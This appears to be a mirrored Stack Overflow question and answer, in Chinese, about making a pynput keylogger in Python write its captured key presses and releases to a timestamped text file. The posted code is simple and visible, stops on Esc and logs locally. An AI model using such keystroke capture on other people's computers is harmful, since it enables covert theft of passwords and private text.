【问题标题】:Building a key logger with Pynput (saving it to notepad)使用 Pynput 构建键盘记录器(将其保存到记事本)
【发布时间】:2020-07-17 11:57:39
【问题描述】:

尝试使用 pynput 构建按键记录器。

查看Here,一切正常但不是我想要的,我想在程序运行的同时将输出保存到文本文件。

我尝试了sys.stdout,但它只是将其保存到 LogTXT.txt 文件中。

不管怎样,代码如下:

from pynput.keyboard import Key, Listener

import os

import atexit

import sys

file = os.open(r"C:\Users\USERNAME\Desktop\LogTXT.txt",  os.O_RDWR|os.O_CREAT )

def on_press(key):
    print('{0} pressed'.format(
        key))

def on_release(key):
    print('{0} release'.format(
        key))
    if key == Key.esc:
        # Stop listener
        return False

# Collect events until released
with Listener(on_press=on_press, on_release=on_release) as listener:
    listener.join()
    sys.stdout = file 

【问题讨论】:

    标签: python python-3.x keylogger pynput


    【解决方案1】:

    尝试使用另一种方式来执行此操作,而不是使用stdout,将其视为另一种方式:

    from pynput.keyboard import Key, Listener
    import time
    
    fp = open(r"LogTXT_{}.txt".format(time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())),"w") # open the file
    
    def on_press(key):
        print('{0} pressed'.format(key))
        fp.write('{} pressed at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime()))) # write it.
    
    def on_release(key):
        print('{0} release'.format(key))
        fp.write('{} release at time:{}\n\n'.format(key,time.strftime("%Y-%m-%d_%H-%M-%S", time.localtime())))
        if key == Key.esc:
            fp.write("End Press") # press esc.Exit the script
            fp.close()
            return False
    
    with Listener(on_press=on_press, on_release=on_release) as listener:
        listener.join()
    

    文件中的一些输出示例:

    【讨论】:

    • 还是没有保存到文本文件中。
    • @Daniel Well.look the path,它保存在当前路径中。
    • 我知道它确实会创建一个文本文件,但不会将输出保存到该文件中。
    猜你喜欢
    • 2020-12-15
    • 2020-04-28
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    相关资源
    最近更新 更多